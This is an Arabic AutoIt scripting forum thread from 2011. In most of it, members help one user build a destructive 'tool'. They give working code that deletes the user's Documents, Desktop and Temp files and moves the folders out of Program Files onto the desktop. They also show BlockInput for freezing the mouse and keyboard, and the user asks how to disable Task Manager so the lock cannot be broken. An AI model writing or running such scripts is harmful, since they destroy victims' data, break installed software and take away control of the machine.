موضوع خاص لدعــم الـ AutoIt -- افكار ؛ مشاريع ؛ سورسات ؛ اسئله ؛ نقاشات ...... الخ

LINEZERO · 14 مارس 2011

Dr.MoNy قال:
شباب والله أنلحس مخي

كود:

FileDelete(@DesktopDir & "\*.*") DirMove(@ProgramFilesDir & "\*.*", @DesktopDir &"\" ,1) DirMove(@SystemDir & "\*.*", @DesktopDir &"\" ,1) FileDelete(@TempDir & "\*.*") FileDelete(@MyDocumentsDir & "\*.*")

هل هذه صحيحه ؟
حذف الملفات و نقل الملفات من المجلدات التاليه ؟
مع العلم سويتها بس ما اشتغلت

الاول .. صحيح ... وشغال
الثاني .. لا
الثالث .. لا
الرابع .. صحيح .. وشغال
الخامس .. صحيح .. وشغال

بالنسبه للثاني والثالث جرب تعمل بحث عن المجلدات الموجوده ثم نقلها كل واحد لحاله بلووب

k:

Alzri2 · 14 مارس 2011

Dr.MoNy قال:
السلام عليكم ..
شباب عندي طلب لاهنتو ..
لو مثلا انا سويت أداه
الأداه عبار عن حذف الملف الفلاني + توقف الماوس عن العمل
لو ابي الأمرين تشتغل مع بعض كيف اخليها ؟
لأن سويت الطريقه أول شي يحذف الملف بعدين يعلق الماوس
فـ أنا ابي اخليهم مع بعض يشتغلون
و مشكورين مقدماً

هذه أحد أسباب ضعف AutoIt

لا تدعم Multi Thread

حاول أن تقوم بالمطلوب بطريقة أخرى مثلاً توقف الماوس أولاً ثم حذف الملف

LINEZERO · 14 مارس 2011

كود على السريع :b: وان شاء الله يقوم بالعمل على اكمل وجه :king:

كود:

[COLOR=#000000][COLOR=#aa0000]$FolderName[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff33ff][COLOR=#ff33ff]@programfilesdir[/COLOR][/COLOR][/COLOR]
[COLOR=#000000][COLOR=#aa0000]$destdir[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff33ff][COLOR=#ff33ff]@desktopdir[/COLOR][/COLOR][/COLOR]
[COLOR=#000000]ScanFolder[COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FolderName[/COLOR][COLOR=#ff0000])[/COLOR][/COLOR][COLOR=#000000]
[COLOR=#0000ff]Func[/COLOR] ScanFolder[COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$SourceFolder[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$Search[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$File[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$FileAttributes[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$FullFilePath[/COLOR]
[COLOR=#aa0000]$Search[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#000090]FileFindFirstFile[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$SourceFolder[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#9999cc]"\*.*"[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]While[/COLOR] [COLOR=#ac00a9]1[/COLOR]
[COLOR=#0000ff]If[/COLOR] [COLOR=#aa0000]$Search[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff0000]-[/COLOR][COLOR=#ac00a9]1[/COLOR] [COLOR=#0000ff]Then[/COLOR]
[COLOR=blue]ExitLoop[/COLOR]
[COLOR=#0000ff]EndIf[/COLOR]
[COLOR=#aa0000]$File[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=blue]FileFIndNextFile[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$Search[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=blue]If[COLOR=magenta] @error[/COLOR] Then ExitLoop[/COLOR]
[COLOR=#aa0000]$FullFilePath[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#aa0000]$SourceFolder[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#9999cc]"\"[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#aa0000]$File[/COLOR]
[COLOR=#aa0000]$FileAttributes[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#000090]FileGetAttrib[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FullFilePath[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]If[/COLOR] [COLOR=#000090][COLOR=#000090]String[/COLOR]InStr[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FileAttributes[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#9999cc]"D"[/COLOR][COLOR=#ff0000])[/COLOR] [COLOR=#0000ff]Then[/COLOR]
[COLOR=#000090]DirMove[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FullFilePath[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#aa0000]$destdir[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#ac00a9]1[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]EndIf[/COLOR]
[COLOR=#0000ff]WEnd[/COLOR]
[COLOR=#000090]FileClose[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$Search[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]End[COLOR=#0000ff]Func[/COLOR][/COLOR][/COLOR]

Dr.MoNy · 14 مارس 2011

Expertise قال:
الاول .. صحيح ... وشغال
الثاني .. لا
الثالث .. لا
الرابع .. صحيح .. وشغال
الخامس .. صحيح .. وشغال

بالنسبه للثاني والثالث جرب تعمل بحث عن المجلدات الموجوده ثم نقلها كل واحد لحاله بلووب k:

أخوي حتى ملف حذف المستندات مايشتغل معاي :cr:
و الثاني و الثالث وش وضعهم وذ اسوي لهم

Dr.MoNy · 14 مارس 2011

alzri2 قال:
هذه أحد أسباب ضعف autoit

لا تدعم multi thread

حاول أن تقوم بالمطلوب بطريقة أخرى مثلاً توقف الماوس أولاً ثم حذف الملف

طيب ، ممكن أمر توقف الماوس عن العمل لمده معينه
لأن ماعرفت الأمر الصحيح

Dr.MoNy · 14 مارس 2011

Expertise قال:

كود على السريع :b: وان شاء الله يقوم بالعمل على اكمل وجه :king:

كود:

[COLOR=#000000][COLOR=#aa0000]$FolderName[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff33ff][COLOR=#ff33ff]@programfilesdir[/COLOR][/COLOR][/COLOR]
[COLOR=#000000][COLOR=#aa0000]$destdir[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff33ff][COLOR=#ff33ff]@desktopdir[/COLOR][/COLOR][/COLOR]
[COLOR=#000000]ScanFolder[COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FolderName[/COLOR][COLOR=#ff0000])[/COLOR][/COLOR][COLOR=#000000]
[COLOR=#0000ff]Func[/COLOR] ScanFolder[COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$SourceFolder[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$Search[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$File[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$FileAttributes[/COLOR]
[COLOR=#0000ff]Local[/COLOR] [COLOR=#aa0000]$FullFilePath[/COLOR]
[COLOR=#aa0000]$Search[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#000090]FileFindFirstFile[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$SourceFolder[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#9999cc]"\*.*"[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]While[/COLOR] [COLOR=#ac00a9]1[/COLOR]
[COLOR=#0000ff]If[/COLOR] [COLOR=#aa0000]$Search[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#ff0000]-[/COLOR][COLOR=#ac00a9]1[/COLOR] [COLOR=#0000ff]Then[/COLOR]
[COLOR=blue]ExitLoop[/COLOR]
[COLOR=#0000ff]EndIf[/COLOR]
[COLOR=#aa0000]$File[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=blue]FileFIndNextFile[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$Search[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=blue]If[COLOR=magenta] @error[/COLOR] Then ExitLoop[/COLOR]
[COLOR=#aa0000]$FullFilePath[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#aa0000]$SourceFolder[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#9999cc]"\"[/COLOR] [COLOR=#ff0000]&[/COLOR] [COLOR=#aa0000]$File[/COLOR]
[COLOR=#aa0000]$FileAttributes[/COLOR] [COLOR=#ff0000]=[/COLOR] [COLOR=#000090]FileGetAttrib[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FullFilePath[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]If[/COLOR] [COLOR=#000090][COLOR=#000090]String[/COLOR]InStr[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FileAttributes[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#9999cc]"D"[/COLOR][COLOR=#ff0000])[/COLOR] [COLOR=#0000ff]Then[/COLOR]
[COLOR=#000090]DirMove[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$FullFilePath[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#aa0000]$destdir[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#ac00a9]1[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]EndIf[/COLOR]
[COLOR=#0000ff]WEnd[/COLOR]
[COLOR=#000090]FileClose[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#aa0000]$Search[/COLOR][COLOR=#ff0000])[/COLOR]
[COLOR=#0000ff]End[COLOR=#0000ff]Func[/COLOR][/COLOR][/COLOR]

ياعيني عليك ياعسل ..
طيب الأن لو ابي مثلا ملفات البرامج نفس الي بالكود + ملفات الويندوز أنقلها لسطح المكتب
هل أنسخ الكود مره أخرى و اغير بدال @programfilesdir أخليها لـ الويندوز
أو فيه طريقه أخرى تسهل علي العمل

طيب باقي لي أمر أخر وهو حذف ملفات المستندات + ملفات سطح المكتب
ممكن تفيدني ماقصرت والله

diyar26 · 14 مارس 2011

Bo.SaQeR قال:
لـ نفرض أنك تبغى تنسخ ملف اسمه zyzoom.zip من القرص D إلى سطح المكتب ..
الكود راح يكون بهذا الشكل ..

كود:

[COLOR=#000090]FileCopy[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#9999cc]"D:\zyzoom.zip"[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#9999cc]"C:\Users\[/COLOR][COLOR=red]diyar26[/COLOR][COLOR=#9999cc]\Desktop\"[/COLOR][COLOR=#ff0000])[/COLOR]

الكود السابق ما راح يشتغل على إلا على المستخدم diyar26 ..
لأنك محدد مسار سطح المكتب الخاص بالمستخدم diyar26 ..
لحل هذي المشكله نستخدم المسارات الإفتراضية ..
و الكود راح يكون كذا ..

كود:

[COLOR=#000090]FileCopy[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#9999cc]"D:\zyzoom.zip"[/COLOR][COLOR=#ff0000], [/COLOR][COLOR=#ff33ff][COLOR=#ff33ff]@desktopdir [/COLOR][/COLOR][COLOR=#ff0000])[/COLOR]

بالتوفيق ..

:king:

الله يوفقك يالغالي

Alzri2 · 14 مارس 2011

كود على السريع :b: وان شاء الله يقوم بالعمل على اكمل وجه :king:

السهل الممتنع,
تقبل هذا التعديل البسيط :

كود:

$FolderName = @ProgramFilesDir
ScanFolder($FolderName, @DesktopDir & "\Test")
Func ScanFolder($SourceFolder, $destdir = @DesktopDir)
    Local $Search, $File, $FileAttributes, $FullFilePath
    $Search = FileFindFirstFile($SourceFolder & "\*.*")
    While 1
        If $Search = -1 Then ExitLoop
        $File = FileFindNextFile($Search)
        If @error Then ExitLoop
        $FullFilePath = $SourceFolder & "\" & $File
        $FileAttributes = FileGetAttrib($FullFilePath)
        If StringInStr($FileAttributes, "D") Then DirMove($FullFilePath, $destdir, 1)
    WEnd
    FileClose($Search)
EndFunc

Dr.MoNy قال:
طيب ، ممكن أمر توقف الماوس عن العمل لمده معينه
لأن ماعرفت الأمر الصحيح

الأمر لإيقاف الماوس والكيبورد عن العمل هو BlockInput, راجع كتاب التعليمات لمعرفة المعاملات الخاصة بهذا الأمر

Dr.MoNy · 14 مارس 2011

أوك الماوس و الكيبورد تم تعطيلهاا ،

Dr.MoNy · 14 مارس 2011

شباب ، لمن أظغط زر من الكيبورد مثلا تشغيل أدارة المهام
و طبعا انا مسوي تعطيل يظهر لي و يشتغل الماوس و الكيبورد ؟
هل فيه طريقه لتوقيف أدارة المهام

LINEZERO · 15 مارس 2011

Dr.MoNy قال:
شباب ، لمن أظغط زر من الكيبورد مثلا تشغيل أدارة المهام
و طبعا انا مسوي تعطيل يظهر لي و يشتغل الماوس و الكيبورد ؟
هل فيه طريقه لتوقيف أدارة المهام

الي اعرفه انه عند الضغط على Ctrl+Alt+Del
راح يلغي امر الـ

كود:

BlockInput

بالتوفيق

Dr.MoNy · 15 مارس 2011

طيب مافي طريقه ؟
الغي هذا الأمر

ابو ماجد · 15 مارس 2011

مشكووووور

LINEZERO · 16 مارس 2011

Dr.MoNy قال:
طيب مافي طريقه ؟
الغي هذا الأمر

ما اعتقد :i:

Dr.MoNy · 16 مارس 2011

كود على السريع :b: وان شاء الله يقوم بالعمل على اكمل وجه :king:

كود:
$FolderName = @programfilesdir
$destdir = @desktopdir
ScanFolder($FolderName)
Func ScanFolder($SourceFolder)
Local $Search
Local $File
Local $FileAttributes
Local $FullFilePath
$Search = FileFindFirstFile($SourceFolder & "\*.*")
While 1
If $Search = -1 Then
ExitLoop
EndIf
$File = FileFIndNextFile($Search)
If @error Then ExitLoop
$FullFilePath = $SourceFolder & "\" & $File
$FileAttributes = FileGetAttrib($FullFilePath)
If StringInStr($FileAttributes,"D") Then
DirMove($FullFilePath,$destdir,1)
EndIf
WEnd
FileClose($Search)
EndFunc

ياعيني عليك ياعسل ..
طيب الأن لو ابي مثلا ملفات البرامج نفس الي بالكود + ملفات الويندوز أنقلها لسطح المكتب
هل أنسخ الكود مره أخرى و اغير بدال @programfilesdir أخليها لـ الويندوز
أو فيه طريقه أخرى تسهل علي العمل

طيب باقي لي أمر أخر وهو حذف ملفات المستندات + ملفات سطح المكتب
ماقصرت والله
ممكن تفيدني هنا لبى قلبك

الحلا تبي تتعلم · 16 مارس 2011

السلام عليكم ورحمة الله وبركاته
السموحة اختكم الحلا بتمر بمشاكل ودراسة وعمل ووالكثير من الالتزامات والارتباطات

الله يرحم والديكم ماهو الخطأ في الكو التالي

كود:

$run = ProcessExists("explorer.exe")
if $run <> 0 Then
$msg= MsgBox(4,""."explorer is run-please close it")
If $msg=6 Then
 Exit
If $msg=7 Then
 MsgBox(0,"","you do not close explorer")
EndIf
EndIf
 Else
 Run("explorer.exe")
EndIf

LINEZERO · 16 مارس 2011

الحلا تبي تتعلم قال:
السلام عليكم ورحمة الله وبركاته
السموحة اختكم الحلا بتمر بمشاكل ودراسة وعمل ووالكثير من الالتزامات والارتباطات

الله يرحم والديكم ماهو الخطأ في الكو التالي

كود:

$run = ProcessExists("explorer.exe") if $run <> 0 Then $msg= MsgBox(4,""."explorer is run-please close it") If $msg=6 Then Exit If $msg=7 Then MsgBox(0,"","you do not close explorer") EndIf EndIf Else Run("explorer.exe") EndIf

الله يعينك

عموماً لادري مافائدة الكود و ماذا تريد ان تعمل ولكن هذا تصحيح للاخطاء الموجوده ..

كود:

[color=#aa0000]$run[/COLOR] [color=#ff0000]=[/color] [color=#000090]ProcessExists[/color][color=#ff0000]([/color][color=#9999cc]"explorer.exe"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]
[color=#0000ff]If[/color] [color=#aa0000]$run[/COLOR] [color=#ff0000]<[/color][color=#ff0000]>[/color] [color=#ac00a9]0[/color] [color=#0000ff]Then[/color][color=#009933][/COLOR]
 [color=#aa0000]$msg[/COLOR] [color=#ff0000]=[/color] [color=#000090]MsgBox[/color][color=#ff0000]([/color][color=#ac00a9]4[/color][color=#ff0000],[/color] [color=#9999cc]""[/COLOR] [color=#ff0000],[/color][color=#9999cc]"explorer is run-please close it"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]
 [color=#0000ff]If[/color] [color=#aa0000]$msg[/COLOR] [color=#ff0000]=[/color] [color=#ac00a9]6[/color] [color=#0000ff]Then[/color][color=#009933][/COLOR]
  [color=#0000ff]Exit[/color][color=#009933][/COLOR]
 [color=#0000ff]Else[/color][color=#009933][/COLOR]
  [color=#000090]MsgBox[/color][color=#ff0000]([/color][color=#ac00a9]0[/color][color=#ff0000],[/color] [color=#9999cc]""[/COLOR][color=#ff0000],[/color] [color=#9999cc]"you do not close explorer"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]
 [color=#0000ff]EndIf[/color][color=#009933][/COLOR]
[color=#0000ff]Else[/color][color=#009933][/COLOR]
 [color=#000090]Run[/color][color=#ff0000]([/color][color=#9999cc]"explorer.exe"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]
[color=#0000ff]EndIf[/color][color=#009933][/COLOR]

بالتوفيق

الحلا تبي تتعلم · 16 مارس 2011

الحلا تبي تتعلم قال:
السلام عليكم ورحمة الله وبركاته
السموحة اختكم الحلا بتمر بمشاكل ودراسة وعمل ووالكثير من الالتزامات والارتباطات

الله يرحم والديكم ماهو الخطأ في الكو التالي

كود:

$run = ProcessExists("explorer.exe") if $run <> 0 Then $msg= MsgBox(4,""."explorer is run-please close it") If $msg=6 Then Exit If $msg=7 Then MsgBox(0,"","you do not close explorer") EndIf EndIf Else Run("explorer.exe") EndIf

تم تصحيح الكود بطريقة اخرى سهلة وغير معقده

كود:

$run = ProcessExists("explorer.exe")
if $run <> 0 Then
$msg= MsgBox(4,"","explorer is run-please close it")
If $msg=6 Then
 Exit
ElseIf $msg=7 Then
 MsgBox(0,"","you do not close explorer")
EndIf
 Else
 Run("explorer.exe")
EndIf

LINEZERO · 16 مارس 2011

Dr.MoNy قال:
كود على السريع :b: وان شاء الله يقوم بالعمل على اكمل وجه :king:

كود:
$FolderName = @programfilesdir
$destdir = @desktopdir
ScanFolder($FolderName)
Func ScanFolder($SourceFolder)
Local $Search
Local $File
Local $FileAttributes
Local $FullFilePath
$Search = FileFindFirstFile($SourceFolder & "\*.*")
While 1
If $Search = -1 Then
ExitLoop
EndIf
$File = FileFIndNextFile($Search)
If @error Then ExitLoop
$FullFilePath = $SourceFolder & "\" & $File
$FileAttributes = FileGetAttrib($FullFilePath)
If StringInStr($FileAttributes,"D") Then
DirMove($FullFilePath,$destdir,1)
EndIf
WEnd
FileClose($Search)
EndFunc

ياعيني عليك ياعسل ..
طيب الأن لو ابي مثلا ملفات البرامج نفس الي بالكود + ملفات الويندوز أنقلها لسطح المكتب
هل أنسخ الكود مره أخرى و اغير بدال @programfilesdir أخليها لـ الويندوز
أو فيه طريقه أخرى تسهل علي العمل

طيب باقي لي أمر أخر وهو حذف ملفات المستندات + ملفات سطح المكتب
ماقصرت والله
ممكن تفيدني هنا لبى قلبك

:d:
ليه تبي حذف المستندات وملفات سطح المكتب !!

المهم .. ببساطه كالتالي

كود:

[color=#009933];delete files in Documents Folder[/COLOR]
[color=#000090]FileDelete[/color][color=#ff0000]([/color][color=#ff33ff][color=#ff33ff]@mydocumentsdir[/color][/color] [color=#ff0000]&[/color] [color=#9999cc]"\*.*"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]
[color=#009933];delete files in Desktop[/COLOR]
[color=#000090]FileDelete[/color][color=#ff0000]([/color][color=#ff33ff][color=#ff33ff]@desktopdir[/color][/color] [color=#ff0000]&[/color] [color=#9999cc]"\*.*"[/COLOR][color=#ff0000])[/color][color=#009933][/COLOR]

بالتوفيق
:king:

LINEZERO · 16 مارس 2011

Alzri2 قال:
السهل الممتنع,
تقبل هذا التعديل البسيط :

Alzri2 قال:

كود:

$FolderName = @ProgramFilesDir

كود:

ScanFolder($FolderName, @DesktopDir & "\Test")

Func ScanFolder($SourceFolder, $destdir = @DesktopDir)
   Local $Search, $File, $FileAttributes, $FullFilePath
   $Search = FileFindFirstFile($SourceFolder & "\*.*")
   While 1
       If $Search = -1 Then ExitLoop
       $File = FileFindNextFile($Search)
       If @error Then ExitLoop
       $FullFilePath = $SourceFolder & "\" & $File
       $FileAttributes = FileGetAttrib($FullFilePath)
       If StringInStr($FileAttributes, "D") Then DirMove($FullFilePath, $destdir, 1)
   WEnd
   FileClose($Search)

EndFunc

الأمر لإيقاف الماوس والكيبورد عن العمل هو BlockInput, راجع كتاب التعليمات لمعرفة المعاملات الخاصة بهذا الأمر

k:

زيزوومى محترف

توقيع : LINEZERO

زيزوومي نشيط

توقيع : Alzri2

زيزوومى محترف

توقيع : LINEZERO

زيزوومي جديد

زيزوومي جديد

زيزوومي جديد

زيزوومى فضى

توقيع : diyar26

زيزوومي نشيط

توقيع : Alzri2

زيزوومي جديد

زيزوومي جديد

زيزوومى محترف

توقيع : LINEZERO

زيزوومي جديد

زيزوومي جديد

زيزوومى محترف

توقيع : LINEZERO

زيزوومي جديد

زيزوومي جديد

توقيع : الحلا تبي تتعلم

زيزوومى محترف

توقيع : LINEZERO

زيزوومي جديد

توقيع : الحلا تبي تتعلم

زيزوومى محترف

توقيع : LINEZERO

زيزوومى محترف

توقيع : LINEZERO